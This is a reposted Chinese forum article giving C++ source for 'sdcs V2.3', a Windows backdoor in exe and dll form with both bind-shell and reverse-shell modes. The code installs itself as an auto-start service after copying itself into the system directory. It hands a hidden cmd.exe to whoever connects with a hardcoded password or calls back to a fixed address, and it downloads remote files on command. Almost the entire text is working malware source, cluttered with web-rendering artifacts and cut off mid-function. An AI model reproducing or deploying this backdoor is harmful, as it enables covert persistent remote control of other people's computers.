sdcs V2.3 exe/dll 正+反弹后门(转)

文章作者:dream2fly
信息来源:邪恶八进制信息安全团队( www.eviloctal.com
None.gif //  SmartDoor.cpp : 定义 DLL 应用程序的入口点。
None.gif
// http://www.dream2fly.net/
None.gif
// 源码公布说明:从网络中来到网络中去,QQ:78623269定制^_^
None.gif
#include  " stdafx.h "
None.gif#include 
" SDdllw.h "
None.gif
None.gif#include 
< stdio.h >
None.gif#include 
< stdlib.h >
None.gif#include 
< tchar.h >
None.gif#include 
< string >
None.gif
using   namespace ::std;
None.gif
None.gif#include 
< Shellapi.h >
None.gif#include 
< winsock2.h >  
None.gif#include 
< urlmon.h >
None.gif
None.gif#pragma comment (lib,
" ws2_32 "
None.gif#pragma comment (lib, 
" urlmon.lib " )
None.gif
None.gif
void     LogToFile( const   char   *  ,  int  nErrNo  =   0 ) ;             // 日志记录 
None.gif

None.gif
#define  MAXLINK    5             // 客户端连接最大数目
None.gif
#define  PASSWORD "dream2fly"     // 连接密码 
None.gifu_short g_nPort 
=   12345 ;             // 定义监听端口                    
None.gif
None.gif
// #define _REVERSE 1
None.gif

None.gif
None.gif
#define  BUFLEN 65535    
None.gif
None.gif
bool  Passport(SOCKET  * csock);
None.gif
void  ConnectClient();
None.gif
void  ShellServer();
None.gif
// 命令行执行函数 
None.gif
DWORD WINAPI ExeCmdShell(LPVOID lp);
None.gif
None.gif
#define                     SERVICENAME            "Remote Command Server"
None.gif
#define                     SERVICEDISPLAYNAME    SERVICENAME
None.gif
None.gifSC_HANDLE                scm,svc;
None.gifSERVICE_STATUS          ServiceStatus; 
None.gifSERVICE_STATUS_HANDLE  ServiceStatusHandle; 
None.gif
None.gifDWORD IsService( BOOL
&  );
None.gif
int     InitService();
None.gif
void  InstallService();
None.gif
int  DeleteSvc();
None.gif
void  WINAPI ServiceMain(DWORD dwArgc,LPTSTR  * lpszArgv);
None.gif
void  WINAPI ServiceCtrlHandler(DWORD dwControl);
None.gif
None.gif#ifdef _MYEXE
None.gif
// 程序入口 
None.gif
int  WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine, int  nShowCmd)
ExpandedBlockStart.gifContractedBlock.gif
dot.gif
InBlock.gif    
int nArg;
InBlock.gif    LPWSTR 
*para = CommandLineToArgvW(::GetCommandLineW(),&nArg);
InBlock.gif    
if (nArg!=1)
ExpandedSubBlockStart.gifContractedSubBlock.gif    
dot.gif{
InBlock.gif        g_nPort
=_wtoi(para[1]);    
ExpandedSubBlockEnd.gif    }

InBlock.gif
InBlock.gif    LocalFree(para);
InBlock.gif
InBlock.gif    InitService();
InBlock.gif    
InBlock.gif    
return 0
ExpandedBlockEnd.gif}
 
None.gif
#else
None.gif
// 程序入口 
None.gif
BOOL APIENTRY DllMain( HANDLE hModule, 
None.gif                      DWORD  ul_reason_for_call, 
None.gif                      LPVOID lpReserved
None.gif                    )
ExpandedBlockStart.gifContractedBlock.gif
dot.gif {
InBlock.gif    
switch (ul_reason_for_call)
ExpandedSubBlockStart.gifContractedSubBlock.gif    
dot.gif{
InBlock.gif    
case DLL_PROCESS_ATTACH:
InBlock.gif    
case DLL_THREAD_ATTACH:
InBlock.gif    
case DLL_THREAD_DETACH:
InBlock.gif    
case DLL_PROCESS_DETACH:
InBlock.gif        
break;
ExpandedSubBlockEnd.gif    }

InBlock.gif    
return TRUE;
ExpandedBlockEnd.gif}

None.gif
None.gif
#endif
None.gif
None.gif
int  InitService( void )
ExpandedBlockStart.gifContractedBlock.gif
dot.gif {
InBlock.gif    
//服务入口表
ExpandedSubBlockStart.gifContractedSubBlock.gif
    SERVICE_TABLE_ENTRY    ServiceTableEntry[] = dot.gif
ExpandedSubBlockStart.gifContractedSubBlock.gif        
dot.gif{ SERVICENAME,    ServiceMain }
ExpandedSubBlockStart.gifContractedSubBlock.gif        
dot.gif{ NULL, NULL } }

InBlock.gif
InBlock.gif    BOOL bService 
= TRUE;
InBlock.gif
InBlock.gif    
// This process should be a service :)
InBlock.gif
    IsService( bService );
InBlock.gif    
if ( bService )
ExpandedSubBlockStart.gifContractedSubBlock.gif    
dot.gif{    // Start service
InBlock.gif
        LogToFile( "This process is service" , GetLastError() ); 
InBlock.gif        
if (!StartServiceCtrlDispatcher(ServiceTableEntry))
ExpandedSubBlockStart.gifContractedSubBlock.gif        
dot.gif{
InBlock.gif            LogToFile( 
"StartServiceCtrlDispatcher" , GetLastError() ); 
InBlock.gif            InstallService();            
ExpandedSubBlockEnd.gif        }

ExpandedSubBlockEnd.gif    }

InBlock.gif    
else//如果不是服务启动,安装服务
ExpandedSubBlockStart.gifContractedSubBlock.gif
    dot.gif{
InBlock.gif        LogToFile( 
"This process is not service" , GetLastError() ); 
InBlock.gif        InstallService();
ExpandedSubBlockEnd.gif    }

InBlock.gif
InBlock.gif    
return 0;
ExpandedBlockEnd.gif}

None.gif
// http://www.dream2fly.net/
None.gif
// 源码公布说明:从网络中来到网络中去,QQ:78623269定制^_^
None.gif
//  Deletes service
None.gif
int  DeleteSvc()
ExpandedBlockStart.gifContractedBlock.gif
dot.gif {
InBlock.gif  
// Open service manager
InBlock.gif
  SC_HANDLE hSCM = ::OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
InBlock.gif
InBlock.gif  
if (hSCM == NULL)
ExpandedSubBlockStart.gifContractedSubBlock.gif  
dot.gif{
InBlock.gif      LogToFile( 
"DeleteSvc->OpenSCManager" ,GetLastError() ); 
InBlock.gif      
return 0;
ExpandedSubBlockEnd.gif  }

InBlock.gif
InBlock.gif  
// OPen service
InBlock.gif
  SC_HANDLE hService = ::OpenService( hSCM, SERVICENAME, SERVICE_ALL_ACCESS );
InBlock.gif
InBlock.gif  
if (hService == NULL)
ExpandedSubBlockStart.gifContractedSubBlock.gif  
dot.gif{
InBlock.gif      LogToFile( 
"DeleteSvc->OpenService" ,GetLastError() ); 
InBlock.gif      ::CloseServiceHandle(hSCM);
InBlock.gif      
return 0;
InBlock.gif
ExpandedSubBlockEnd.gif  }

InBlock.gif
InBlock.gif  
//SERVICE_STATUS status;
InBlock.gif  
//if(!ControlService(hService, SERVICE_CONTROL_STOP, &status))
InBlock.gif  
//
InBlock.gif      
// LogToFile( "DeleteSvc->ControlService",  GetLastError() ); 
InBlock.gif  
//}  
InBlock.gif
InBlock.gif  
// Deletes service from service database
InBlock.gif
  if (0 == DeleteService( hService ))
ExpandedSubBlockStart.gifContractedSubBlock.gif  
dot.gif{
InBlock.gif      LogToFile( 
"DeleteSvc->DeleteService" ,GetLastError() ); 
InBlock.gif      
return 0;
ExpandedSubBlockEnd.gif  }

InBlock.gif  
// Stop the service
InBlock.gif
  ServiceStatus.dwCurrentState      = SERVICE_STOPPED; 
InBlock.gif  ServiceStatus.dwCheckPoint        
= 0
InBlock.gif  ServiceStatus.dwWaitHint          
= 0
InBlock.gif  ServiceStatus.dwWin32ExitCode      
= 0
InBlock.gif  ServiceStatus.dwServiceSpecificExitCode 
= 0
InBlock.gif  
if (!SetServiceStatus (ServiceStatusHandle, &ServiceStatus))
ExpandedSubBlockStart.gifContractedSubBlock.gif  
dot.gif
InBlock.gif      LogToFile( 
"DeleteSvc->SetServiceStatus",  GetLastError() ); 
ExpandedSubBlockEnd.gif  }
 
InBlock.gif  
InBlock.gif  ::CloseServiceHandle(hService);
InBlock.gif  ::CloseServiceHandle(hSCM);
InBlock.gif  
return 0;
ExpandedBlockEnd.gif}

None.gif
None.gif
string  WideToMutilByte( const  wstring &  _src)
ExpandedBlockStart.gifContractedBlock.gif
dot.gif {
InBlock.gif    
int nLen = (int)_src.length();
InBlock.gif
InBlock.gif    
char *pszTemp = new char[sizeof(wchar_t)*(nLen + 1)];
InBlock.gif
InBlock.gif    
int pos = WideCharToMultiByte(GetACP(), 0, _src.c_str(), nLen, pszTemp, sizeof(wchar_t)*(nLen + 1), 0, FALSE);
InBlock.gif
InBlock.gif    pszTemp[pos] 
= '\0';
InBlock.gif
InBlock.gif    
string strRet(pszTemp);
InBlock.gif
InBlock.gif    delete []pszTemp;
InBlock.gif
InBlock.gif    
return strRet;
ExpandedBlockEnd.gif}

None.gif
None.gif
void  InstallService()
ExpandedBlockStart.gifContractedBlock.gif
dot.gif {    
ExpandedSubBlockStart.gifContractedSubBlock.gif    
char szSysDir[MAX_PATH] = dot.gif{0};
InBlock.gif    GetSystemDirectory(szSysDir,
sizeof(szSysDir));
InBlock.gif
InBlock.gif#ifdef _MYEXE
InBlock.gif    
//获得进程的绝对路径 
ExpandedSubBlockStart.gifContractedSubBlock.gif
    char szExePath[MAX_PATH] = dot.gif{0}
InBlock.gif    
//获得本程序EXE所在地的full path
InBlock.gif
    GetModuleFileName(NULL,szExePath,MAX_PATH); 
InBlock.gif    
//获得执行文件名 
InBlock.gif
    char *ExeName=szExePath+strlen(szExePath);
InBlock.gif    
for(;*ExeName!='\\';ExeName--)
InBlock.gif        NULL; 
InBlock.gif    ExeName
++
InBlock.gif
InBlock.gif    
char szServicPath[MAX_PATH];
InBlock.gif    memset(szServicPath,
0,sizeof(szServicPath));
InBlock.gif    strcpy(szServicPath, szSysDir);
InBlock.gif    strcat(szServicPath,
"\\");
InBlock.gif    strcat(szServicPath,ExeName);
InBlock.gif
#else
InBlock.gif
InBlock.gif
ExpandedSubBlockStart.gifContractedSubBlock.gif    
char szCurDir[MAX_PATH] = dot.gif{0};
InBlock.gif    GetCurrentDirectory(MAX_PATH
-1,szCurDir);
ExpandedSubBlockStart.gifContractedSubBlock.gif    TCHAR szExeFile[MAX_PATH] 
= dot.gif{0};
InBlock.gif    
int nArg;
InBlock.gif    LPWSTR 
*para = CommandLineToArgvW(::GetCommandLineW(),&nArg);
InBlock.gif    
if (nArg!=1)
ExpandedSubBlockStart.gifContractedSubBlock.gif    
dot.gif{
InBlock.gif        _tcscpy(szExeFile, WideToMutilByte(para[
1]).c_str());    
ExpandedSubBlockEnd.gif    }

InBlock.gif
InBlock.gif    
//获得执行文件名 
InBlock.gif
    char *ExeNameEnd=szExeFile;
InBlock.gif    
for(;*ExeNameEnd!=',';ExeNameEnd++)
InBlock.gif        NULL; 
InBlock.gif
ExpandedSubBlockStart.gifContractedSubBlock.gif    
char szExePath[MAX_PATH] = dot.gif{0};
InBlock.gif    strcpy(szExePath, szCurDir);
InBlock.gif    strcat(szExePath,
"\\");
InBlock.gif    strncat(szExePath,szExeFile, ExeNameEnd 
- szExeFile);
InBlock.gif
ExpandedSubBlockStart.gifContractedSubBlock.gif    
char szServicPath[MAX_PATH] = dot.gif{0};
InBlock.gif    strcpy(szServicPath, szSysDir);
InBlock.gif    strcat(szServicPath,
"\\");
InBlock.gif    strncat(szServicPath,szExeFile, ExeNameEnd 
- szExeFile);
InBlock.gif
InBlock.gif
#endif
InBlock.gif
InBlock.gif#ifdef _DEBUG
InBlock.gif    strcpy(szServicPath, szExePath);
InBlock.gif
#else
InBlock.gif    
//成功返回1,失败返回0.复制方向--->>  
InBlock.gif
    if(!CopyFile(szExePath,szServicPath,FALSE))
ExpandedSubBlockStart.gifContractedSubBlock.gif    
dot.gif{
InBlock.gif        LogToFile( 
"CopyFile" , GetLastError() ); 
ExpandedSubBlockEnd.gif    }

InBlock.gif
#endif
InBlock.gif
InBlock.gif    
if(stricmp(szExePath, szServicPath))
ExpandedSubBlockStart.gifContractedSubBlock.gif    
dot.gif{
InBlock.gif        DeleteFile(szExePath);
ExpandedSubBlockEnd.gif    }

ExpandedSubBlockStart.gifContractedSubBlock.gif    
char szDllStartPath[MAX_PATH] = dot.gif{0};
InBlock.gif
InBlock.gif#ifdef _MYEXE
InBlock.gif    strcpy(szDllStartPath, szExePath);
InBlock.gif
#else
InBlock.gif
InBlock.gif    strcpy(szDllStartPath, szSysDir);
InBlock.gif    strcat(szDllStartPath, 
"\\rundll32.exe ");
InBlock.gif    strcat(szDllStartPath, szServicPath);
InBlock.gif    strcat(szDllStartPath, 
",InitService");
InBlock.gif
#endif
InBlock.gif    
//实现服务启动
InBlock.gif
    scm=::OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
InBlock.gif    
if (scm==NULL)
ExpandedSubBlockStart.gifContractedSubBlock.gif    
dot.gif{
InBlock.gif        LogToFile( 
"OpenSCManager" ,GetLastError() ); 
ExpandedSubBlockEnd.gif    }

InBlock.gif    
else
ExpandedSubBlockStart.gifContractedSubBlock.gif    
dot.gif{
InBlock.gif        svc
=::CreateService(scm,SERVICENAME,SERVICEDISPLAYNAME,SERVICE_ALL_ACCESS,
InBlock.gif            SERVICE_WIN32_OWN_PROCESS
|SERVICE_INTERACTIVE_PROCESS,
InBlock.gif            SERVICE_AUTO_START,SERVICE_ERROR_IGNORE,szDllStartPath,NULL,NULL,NULL,NULL,NULL);
InBlock.gif        
if (svc != NULL || GetLastError() == ERROR_SERVICE_EXISTS)
ExpandedSubBlockStart.gifContractedSubBlock.gif        
dot.gif{
InBlock.gif            LogToFile( 
"OpenServicedot.gif" , GetLastError() ); 
InBlock.gif            svc
=::OpenService(scm,SERVICENAME,SERVICE_START);    
InBlock.gif            
if (svc == NULL)
ExpandedSubBlockStart.gifContractedSubBlock.gif            
dot.gif{
InBlock.gif                LogToFile( 
"OpenService",  GetLastError() ); 
ExpandedSubBlockEnd.gif            }

InBlock.gif            
else
ExpandedSubBlockStart.gifContractedSubBlock.gif            
dot.gif{
InBlock.gif                
if (!StartService(svc,0,NULL))
ExpandedSubBlockStart.gifContractedSubBlock.gif                
dot.gif{
InBlock.gif                    LogToFile( 
"StartService",  GetLastError() ); 
ExpandedSubBlockEnd.gif                }

ExpandedSubBlockEnd.gif            }
    
ExpandedSubBlockEnd.gif        }

InBlock.gif        
else
ExpandedSubBlockStart.gifContractedSubBlock.gif        
dot.gif{
InBlock.gif            LogToFile( 
"CreateService",  GetLastError() ); 
ExpandedSubBlockEnd.gif        }

InBlock.gif        CloseServiceHandle(svc);
InBlock.gif        CloseServiceHandle(scm);
ExpandedSubBlockEnd.gif    }

ExpandedBlockEnd.gif}

None.gif
None.gif
// 服务控制器
None.gif
void  WINAPI ServiceCtrlHandler(DWORD dwControl)
ExpandedBlockStart.gifContractedBlock.gif
dot.gif {
InBlock.gif    
switch(dwControl)
ExpandedSubBlockStart.gifContractedSubBlock.gif    
dot.gif{
InBlock.gif    
case SERVICE_CONTROL_STOP:
InBlock.gif        ServiceStatus.dwCurrentState  
= SERVICE_STOPPED; 
InBlock.gif        ServiceStatus.dwWin32ExitCode 
= 0
InBlock.gif        ServiceStatus.dwCheckPoint    
= 0
InBlock.gif        ServiceStatus.dwWaitHint      
= 0
InBlock.gif        
break;    
InBlock.gif    
case SERVICE_CONTROL_CONTINUE:
InBlock.gif        ServiceStatus.dwCurrentState
=SERVICE_RUNNING;
InBlock.gif        
break;
InBlock.gif    
case SERVICE_CONTROL_PAUSE:
InBlock.gif        ServiceStatus.dwCurrentState
=SERVICE_PAUSED;
InBlock.gif        
break;
InBlock.gif    
case SERVICE_CONTROL_INTERROGATE:
InBlock.gif        
break;
InBlock.gif
ExpandedSubBlockEnd.gif    }

InBlock.gif    
if (!SetServiceStatus (ServiceStatusHandle,&ServiceStatus))
ExpandedSubBlockStart.gifContractedSubBlock.gif    
dot.gif
InBlock.gif        LogToFile( 
"ServiceCtrlHandler->SetServiceStatus",  GetLastError() ); 
ExpandedSubBlockEnd.gif    }
 
InBlock.gif    
return;
ExpandedBlockEnd.gif}

None.gif
None.gif
None.gif
// 服务的真正入口点函数
None.gif
void  WINAPI ServiceMain(DWORD argc, LPTSTR  * argv)
ExpandedBlockStart.gifContractedBlock.gif
dot.gif {
InBlock.gif    ServiceStatus.dwServiceType
=SERVICE_WIN32;
InBlock.gif    ServiceStatus.dwCurrentState
=SERVICE_START_PENDING;
InBlock.gif    ServiceStatus.dwControlsAccepted
=SERVICE_ACCEPT_STOP|SERVICE_ACCEPT_PAUSE_CONTINUE;
InBlock.gif    ServiceStatus.dwServiceSpecificExitCode
=0;  
InBlock.gif    ServiceStatus.dwWaitHint
=0;
InBlock.gif    ServiceStatus.dwCheckPoint
=0;
InBlock.gif    ServiceStatus.dwWin32ExitCode
=0;
InBlock.gif
InBlock.gif    ServiceStatusHandle
=RegisterServiceCtrlHandler(SERVICENAME,ServiceCtrlHandler);
InBlock.gif    
if (ServiceStatusHandle == (SERVICE_STATUS_HANDLE)0)
ExpandedSubBlockStart.gifContractedSubBlock.gif    
dot.gif{
InBlock.gif        LogToFile( 
"ServiceMain->RegisterServiceCtrlHandler",  GetLastError() ); 
InBlock.gif        
return;
ExpandedSubBlockEnd.gif    }

InBlock.gif
InBlock.gif    
//一个服务对应一个控制处理器
InBlock.gif    
//设为运行状态
InBlock.gif
    ServiceStatus.dwCurrentState=SERVICE_RUNNING;
InBlock.gif    ServiceStatus.dwWaitHint
=0;
InBlock.gif    ServiceStatus.dwCheckPoint
=0;        
InBlock.gif    
if (!SetServiceStatus (ServiceStatusHandle, &ServiceStatus)) 
ExpandedSubBlockStart.gifContractedSubBlock.gif    
dot.gif
InBlock.gif        LogToFile( 
"ServiceMain->SetServiceStatus",  GetLastError() ); 
ExpandedSubBlockEnd.gif    }
 
InBlock.gif    
else
ExpandedSubBlockStart.gifContractedSubBlock.gif    
dot.gif{
InBlock.gif#ifdef _REVERSE
InBlock.gif        
while (1)
ExpandedSubBlockStart.gifContractedSubBlock.gif        
dot.gif{
InBlock.gif            ConnectClient();
InBlock.gif            Sleep(
100);
ExpandedSubBlockEnd.gif        }

InBlock.gif
#else
InBlock.gif        ShellServer();
InBlock.gif
#endif
ExpandedSubBlockEnd.gif    }

InBlock.gif
InBlock.gif    
return ;
ExpandedBlockEnd.gif}

None.gif
None.gif
void  ConnectClient()
ExpandedBlockStart.gifContractedBlock.gif
dot.gif {
InBlock.gif    
int ret; 
InBlock.gif    WSADATA wsa; 
InBlock.gif    ret
=WSAStartup(0x0202,&wsa); 
InBlock.gif    
if(ret==INVALID_SOCKET)
ExpandedSubBlockStart.gifContractedSubBlock.gif    
dot.gif
InBlock.gif        LogToFile( 
"WSAStartup " , GetLastError() ); 
InBlock.gif        exit(
-1); 
ExpandedSubBlockEnd.gif    }
 
InBlock.gif
InBlock.gif    SOCKET ssock; 
InBlock.gif    ssock
=socket(AF_INET,SOCK_STREAM,0); 
ExpandedSubBlockStart.gifContractedSubBlock.gif    
if(ssock==INVALID_SOCKET)dot.gif
InBlock.gif        LogToFile( 
"socket " , GetLastError() ); 
InBlock.gif        exit(
-1); 
ExpandedSubBlockEnd.gif    }
 
InBlock.gif
InBlock.gif    
//SO_REUSEADDR:允许重用本地地址和端口 int 
InBlock.gif
    BOOL flag=TRUE; 
InBlock.gif    ret
=setsockopt(ssock,SOL_SOCKET,SO_REUSEADDR,(char*)&flag,sizeof(flag)); 
ExpandedSubBlockStart.gifContractedSubBlock.gif    
if(ret==SOCKET_ERROR)dot.gif
InBlock.gif        LogToFile( 
"setsockopt " , GetLastError() ); 
InBlock.gif        exit(
-1); 
ExpandedSubBlockEnd.gif    }
 
InBlock.gif
InBlock.gif    
struct sockaddr_in sin; 
InBlock.gif    memset(
&sin,0,sizeof(sin)); 
InBlock.gif    sin.sin_family
=AF_INET; 
InBlock.gif    sin.sin_addr.s_addr
=inet_addr("192.168.2.22"); 
InBlock.gif    sin.sin_port
=htons(666);
InBlock.gif
InBlock.gif    
//向客户端发出连接请求,Connect函数的第一个参数是发出请求的客户端的套接字,第二个参数是服务端的地址结构,第三个参数是Server地址结构的长度。
InBlock.gif
    if (connect(ssock, (struct sockaddr *)&sin, sizeof(sin)) == SOCKET_ERROR)
ExpandedSubBlockStart.gifContractedSubBlock.gif    
dot.gif{
InBlock.gif        LogToFile( 
"connect" , GetLastError() ); 
ExpandedSubBlockEnd.gif    }

InBlock.gif    
else
ExpandedSubBlockStart.gifContractedSubBlock.gif    
dot.gif{
InBlock.gif        HANDLE h
=CreateThread(NULL,0,ExeCmdShell,&ssock,0,0); 
InBlock.gif        WaitForSingleObject(h,INFINITE); 
ExpandedSubBlockEnd.gif    }

InBlock.gif
InBlock.gif    closesocket(ssock); 
InBlock.gif    WSACleanup(); 
ExpandedBlockEnd.gif}

None.gif
None.gif
void  ShellServer()
ExpandedBlockStart.gifContractedBlock.gif
dot.gif {
InBlock.gif    
int ret; 
InBlock.gif    WSADATA wsa; 
InBlock.gif    ret
=WSAStartup(0x0202,&wsa); 
InBlock.gif    
if(ret==INVALID_SOCKET)
ExpandedSubBlockStart.gifContractedSubBlock.gif    
dot.gif
InBlock.gif        LogToFile( 
"WSAStartup " , GetLastError() ); 
InBlock.gif        exit(
-1); 
ExpandedSubBlockEnd.gif    }
 
InBlock.gif
InBlock.gif    SOCKET ssock; 
InBlock.gif    ssock
=socket(AF_INET,SOCK_STREAM,0); 
ExpandedSubBlockStart.gifContractedSubBlock.gif    
if(ssock==INVALID_SOCKET)dot.gif
InBlock.gif        LogToFile( 
"socket " , GetLastError() ); 
InBlock.gif        exit(
-1); 
ExpandedSubBlockEnd.gif    }
 
InBlock.gif
InBlock.gif    
//SO_REUSEADDR:允许重用本地地址和端口 int 
InBlock.gif
    BOOL flag=TRUE; 
InBlock.gif    ret
=setsockopt(ssock,SOL_SOCKET,SO_REUSEADDR,(char*)&flag,sizeof(flag)); 
ExpandedSubBlockStart.gifContractedSubBlock.gif    
if(ret==SOCKET_ERROR)dot.gif
InBlock.gif        LogToFile( 
"setsockopt " , GetLastError() ); 
InBlock.gif        exit(
-1); 
ExpandedSubBlockEnd.gif    }
 
InBlock.gif
InBlock.gif    
struct sockaddr_in sin; 
InBlock.gif    memset(
&sin,0,sizeof(sin)); 
InBlock.gif    sin.sin_family
=AF_INET; 
InBlock.gif    sin.sin_addr.s_addr
=htonl(ADDR_ANY); 
InBlock.gif    sin.sin_port
=htons(g_nPort);
InBlock.gif
InBlock.gif    ret
=bind(ssock,(struct sockaddr*)&sin,sizeof(sin)); 
ExpandedSubBlockStart.gifContractedSubBlock.gif    
if(ret==SOCKET_ERROR)dot.gif
InBlock.gif        LogToFile( 
"bind " , GetLastError() ); 
InBlock.gif        exit(
-1); 
ExpandedSubBlockEnd.gif    }
 
InBlock.gif
InBlock.gif    ret
=listen(ssock,MAXLINK); 
InBlock.gif    
if(ret==SOCKET_ERROR) 
ExpandedSubBlockStart.gifContractedSubBlock.gif    
dot.gif
InBlock.gif        LogToFile( 
"listen " , GetLastError() ); 
InBlock.gif        exit(
-1);
ExpandedSubBlockEnd.gif    }
 
InBlock.gif
InBlock.gif    
while(1)
ExpandedSubBlockStart.gifContractedSubBlock.gif    
dot.gif
InBlock.gif        
//csock是ssock接受 accept的数据 
InBlock.gif
        SOCKET csock=accept(ssock,NULL,NULL); 
InBlock.gif        
if(csock==INVALID_SOCKET)
ExpandedSubBlockStart.gifContractedSubBlock.gif        
dot.gif
InBlock.gif            LogToFile( 
"accept" , GetLastError() ); 
ExpandedSubBlockEnd.gif        }

InBlock.gif
InBlock.gif        HANDLE h
=CreateThread(NULL,0,ExeCmdShell,&csock,0,0); 
InBlock.gif        
if(h!=NULL) 
ExpandedSubBlockStart.gifContractedSubBlock.gif        
dot.gif{
InBlock.gif            WaitForSingleObject(h,INFINITE); 
InBlock.gif
InBlock.gif            closesocket(csock); 
InBlock.gif            CloseHandle(h);
ExpandedSubBlockEnd.gif        }

ExpandedSubBlockEnd.gif    }
 
InBlock.gif
InBlock.gif    closesocket(ssock); 
InBlock.gif    WSACleanup(); 
ExpandedBlockEnd.gif}

None.gif
None.gif
// ExeCmdShell: 建立两个管道,实现交互通信 .
None.gif
DWORD WINAPI ExeCmdShell(LPVOID lp)
ExpandedBlockStart.gifContractedBlock.gif
dot.gif
InBlock.gif    SOCKET 
*csock=(SOCKET*)lp; 
InBlock.gif
InBlock.gif    
char *exitok = "\r\n Exit OK! Bye byte!\r\n"
InBlock.gif    unsigned 
long lbyte; 
ExpandedSubBlockStart.gifContractedSubBlock.gif    
char szBuf[BUFLEN]=dot.gif{0};
InBlock.gif    
int ret;
InBlock.gif
InBlock.gif    
//验证
InBlock.gif
    if(Passport(csock)==false)
ExpandedSubBlockStart.gifContractedSubBlock.gif    
dot.gif{
InBlock.gif        LogToFile( 
"Passport",  GetLastError() );
InBlock.gif        closesocket(
*csock);
InBlock.gif        
return -1;
ExpandedSubBlockEnd.gif    }

InBlock.gif
InBlock.gif    SECURITY_ATTRIBUTES sa; 
InBlock.gif    sa.nLength
=sizeof(SECURITY_ATTRIBUTES); 
InBlock.gif    sa.lpSecurityDescriptor
=0
InBlock.gif    sa.bInheritHandle
=TRUE; 
InBlock.gif
InBlock.gif    STARTUPINFO si; 
InBlock.gif    memset(
&si,0,sizeof(si)); 
InBlock.gif    si.dwFlags
=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 
InBlock.gif    si.wShowWindow
=SW_HIDE; 
InBlock.gif
InBlock.gif    
//server:从hrp1读,向hwp2写
InBlock.gif    
//client:从hrp2读,向hwp1写
InBlock.gif
    HANDLE hrp1,hwp1,hrp2,hwp2; 
InBlock.gif    CreatePipe(
&hrp1,&hwp1,&sa,0); 
InBlock.gif    CreatePipe(
&hrp2,&hwp2,&sa,0); 
InBlock.gif
InBlock.gif    si.hStdInput
=hrp1; 
InBlock.gif    si.hStdOutput
=hwp2;
InBlock.gif    si.hStdError
=hwp2;
InBlock.gif
ExpandedSubBlockStart.gifContractedSubBlock.gif    
char szAPP[MAX_PATH] = dot.gif{0}
InBlock.gif    GetSystemDirectory(szAPP,MAX_PATH
-1); 
InBlock.gif
InBlock.gif    PROCESS_INFORMATION pi; 
InBlock.gif
InBlock.gif    strcat(szAPP,
"\\cmd.exe"); 
InBlock.gif    
if (CreateProcess(szAPP, NULL, NULL, NULL, TRUE, 0
InBlock.gif        NULL, NULL, 
&si, &pi) == 0
ExpandedSubBlockStart.gifContractedSubBlock.gif    
dot.gif
InBlock.gif        LogToFile( 
"CreateProcess",  GetLastError() ); 
InBlock.gif        
return -1
ExpandedSubBlockEnd.gif    }
 
InBlock.gif
InBlock.gif    
while(1)
ExpandedSubBlockStart.gifContractedSubBlock.gif    
dot.gif
InBlock.gif        
//client:从hrp2读,向hwp1写,通过csock传输 
InBlock.gif        
//csock是ssock接受 accept的数据 
InBlock.gif
        lbyte = 0;
InBlock.gif        memset(szBuf,
0,sizeof(szBuf));
InBlock.gif        
int i=0;
InBlock.gif        
while(i<3)
ExpandedSubBlockStart.gifContractedSubBlock.gif        
dot.gif{
InBlock.gif            PeekNamedPipe(hrp2,szBuf,BUFLEN,
&lbyte,0,0); 
InBlock.gif            
if(lbyte)
ExpandedSubBlockStart.gifContractedSubBlock.gif            
dot.gif
InBlock.gif                
if(0==ReadFile(hrp2,szBuf,lbyte,&lbyte,0))
ExpandedSubBlockStart.gifContractedSubBlock.gif                
dot.gif{
InBlock.gif                    
break;
ExpandedSubBlockEnd.gif                }
 
InBlock.gif                szBuf[lbyte] 
= 0
InBlock.gif
InBlock.gif                LogToFile( 
"cmd+++++++++++++++++" ); 
InBlock.gif                LogToFile( szBuf ); 
InBlock.gif
InBlock.gif                lbyte 
= send(*csock,szBuf,lbyte,0); 
InBlock.gif                
if (lbyte <= 0)
ExpandedSubBlockStart.gifContractedSubBlock.gif                
dot.gif{
InBlock.gif                    
break;
ExpandedSubBlockEnd.gif                }

ExpandedSubBlockEnd.gif            }
 
InBlock.gif            
else
ExpandedSubBlockStart.gifContractedSubBlock.gif            
dot.gif{
InBlock.gif                Sleep(
50);
InBlock.gif                i
++;
InBlock.gif                
continue;
ExpandedSubBlockEnd.gif            }

ExpandedSubBlockEnd.gif        }

InBlock.gif
InBlock.gif        FD_SET fde;
InBlock.gif        FD_ZERO(
&fde);
InBlock.gif        FD_SET(
*csock,&fde);
ExpandedSubBlockStart.gifContractedSubBlock.gif        
struct timeval tv=dot.gif{0,50};
InBlock.gif        ret
=select(0,NULL,NULL,&fde,&tv);//返回exceptfds 有问题的个数
InBlock.gif
        if (ret > 0)
ExpandedSubBlockStart.gifContractedSubBlock.gif        
dot.gif{
InBlock.gif            
break;
ExpandedSubBlockEnd.gif        }

InBlock.gif        ret
=recv(*csock,szBuf,BUFLEN,0);
InBlock.gif        
if(!ret) break
InBlock.gif        szBuf[ret] 
= 0
InBlock.gif
InBlock.gif        LogToFile( 
"recv----------------" ); 
InBlock.gif        LogToFile( szBuf ); 
InBlock.gif
InBlock.gif        
if (!strncmp(szBuf,"get"3))
ExpandedSubBlockStart.gifContractedSubBlock.gif        
dot.gif{
ExpandedSubBlockStart.gifContractedSubBlock.gif            
char szUrl[MAX_PATH] = dot.gif{0};
InBlock.gif            
//获得执行文件名 
InBlock.gif
            char *szFileName = szBuf + 4;
InBlock.gif            
for(;*szFileName!=' ';szFileName++)
InBlock.gif                NULL; 
InBlock.gif            szFileName
++;
InBlock.gif
ExpandedSubBlockStart.gifContractedSubBlock.gif            
char szFilePath[MAX_PATH] = dot.gif{0};
InBlock.gif            strncpy(szFilePath, szFileName, strlen(szFileName) 
- 1);
InBlock.gif
InBlock.gif            strncpy(szUrl,szBuf 
+ 4, strlen(szBuf) - strlen(szFileName) -4 -1);
InBlock.gif
InBlock.gif            LogToFile( 
"get----------------" ); 
InBlock.gif            LogToFile(szUrl);
InBlock.gif            LogToFile( szFileName ); 
InBlock.gif            LogToFile( szFilePath ); 
InBlock.gif
InBlock.gif            HRESULT hr;
InBlock.gif            hr 
= URLDownloadToFile(0, szUrl, szFilePath, 00);
InBlock.gif            
if(hr!=S_OK)
InBlock.gif                send(
*csock, "下载文件失败!", strlen("下载文件失败!"), 0);
InBlock.gif            
else
InBlock.gif                send(
*csock, "下载文件成功!", strlen("下载文件成功!"), 0);
InBlock.gif
